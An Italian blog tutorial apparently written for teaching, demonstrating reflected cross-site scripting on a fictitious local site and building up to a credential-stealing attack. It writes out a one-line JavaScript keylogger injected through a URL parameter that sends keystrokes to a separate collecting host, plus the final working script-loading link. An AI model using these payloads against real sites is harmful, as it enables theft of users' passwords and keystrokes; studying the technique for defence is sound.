Virus e sicurezza informatica: XSS (Cross Site Scripting)

Il Cross Site Scripting è un tipo di attacco che permette ad un utente di far eseguire a delle pagine web dinamiche dei comandi non previsti dal programmatore inserendo delle direttive nell’url della pagina.

 

Rischi

I rischi derivanti da un attacco XSS sono numerosi. Il principale effetto che si può avere è quello di ottenere un link da poter condividere con chiunque che risulti “ufficiale” perché effettivamente riporta l’indirizzo del sito reale, ma che includa delle funzioni dannose come ad esempio quelle di rubare cookies e password.

Analizziamo un esempio

Ho creato un sito fittizio server2.lan con un codice che mostra ai visitatori un “Benvenuto”
(Il sito è accessibile solo attraverso la mia rete locale, quindi i link non funzioneranno sui vostri PC)

Home page sito fittizio

È possibile personalizzare il benvenuto passando alla pagina un parametro con il nome. In questo caso “Andrea” e l’indirizzo diventerà http://server2.lan/pag.php?name=Andrea.

URL con parametro name

Fino ad ora abbiamo analizzato il normale funzionamento della pagina, adesso proviamo a vedere se la pagina è vulnerabile ad un attacco XSS.
Proviamo a cambiare la formattazione della parola “Andrea” rendendola in grassetto.

Generiamo un link con questa funzione:
http://server2.lan/pag.php?name=<b>Andrea</b>

URL con parametro name e tag bold

Funziona! La pagina non solo esegue la funzione per cui è stata progettata ma esegue anche dei comandi non previsti.
Ora che sappiamo che la pagina è vulnerabile possiamo provare ad inserire del codice più complesso.

Ad esempio facciamo uscire un pop-up inserendo il codice “<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>” nell’url che diventerà:
http://server2.lan/pag.php?name=Andrea<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>

Passaggio script come parametro

Vediamo adesso come questo tipo di vulnerabilità può essere sfruttata per violare la privacy

Ho realizzato per voi questo schema che chiarisce il concetto di cui stiamo parlando.

Schema uso XSS per violazione privacy

Proviamo ad esempio a sottrarre delle credenziali d’accesso utilizzando sempre il sito fittizio ed immaginando che sia un sito reale e funzionante come ad esempio un social network o un sito bancario.

Pagina web con modulo d'inserimento

Scriviamo uno script che salvi in un file di testo qualsiasi parametro gli passiamo.

Codice PHP salvataggio parametro indirizzo

Testiamolo.

Indirizzo web con parametro

Output del keylogger

Ora che sappiamo che il nostro script cattura qualsiasi testo dobbiamo trovare il modo di far inviare al nostro script dei dati dal sito fittizio utilizzando la vulnerabilità XSS.

Scriviamo un codice Javascript che una volta inserito nell’url della pagina invierà al nostro script keylogger i dati inseriti per l’accesso.
Nel codice è necessario inserire la “posizione” dello script keylogger che nell’immagine è stata evidenziata dal rettangolo rosso.

Codice Javascript del keylogger

Facciamo in modo che il codice sia tutto su una riga.

Codice Keylogger su una sola riga

Generiamo il link contenente il codice XSS:
http://server2.lan/pag.php?name=Andrea<script>var keys=”;document.onkeypress=function(e){var get=window.event?event:e;var key=get.keyCode?get.keyCode:get.charCode;key=String.fromCharCode(key);keys+=key}window.setInterval(function(){new Image().src=’http://192.168.1.158/keylogger.php?c=’+keys;keys=”},10);</script>

Dopo numerosi tentativi mi sono reso conto che questo codice così complesso non viene eseguito. La soluzione è caricare il codice che avremmo voluto inserire nell’url in un file sul nostro server locale (Quello su cui arriveranno i dati) ed inserire nell’url soltanto il link allo script.

Passaggio dell'IP nello script XSS

L’url funzionante contenente l’attacco XSS sarà quindi:
http://server2.lan/pag.php?name=Andrea<script src=”http://192.168.1.158/key.js”></script>

Output dei dati registrati dal keylogger

In questo modo i dati vengono catturati e ci vengono recapitati.
Per rendere effettivo l’attacco basterebbe diffondere il link apparentemente corretto, poiché riporta l’indirizzo esatto del sito, ma che contiene del codice a cui i meno esperti non presterebbero attenzione.

Andrea Carriero | BTBH
https://btbh.net
https://codethinker.net
andrea@btbh.net

 

Commenti

commenti

Ci sono 2 commenti su questo articolo:

  1. Mi imbatto spessissimo in vulnerabilità XSS, il problema è che i nuovo browser bloccano il tag < script >, di conseguenza ci si può limitare a funzioni semplici… come un marquee.. uff

  2. un bell’articolo che non presenta soltanto in modo superficiale o generico il problema, cosa che a mio parere lascia poco più del tempo che trova, ma che entra nel dettaglio tecnologico allo scopo di rendere il lettore consapevole del meccanismo sottostante.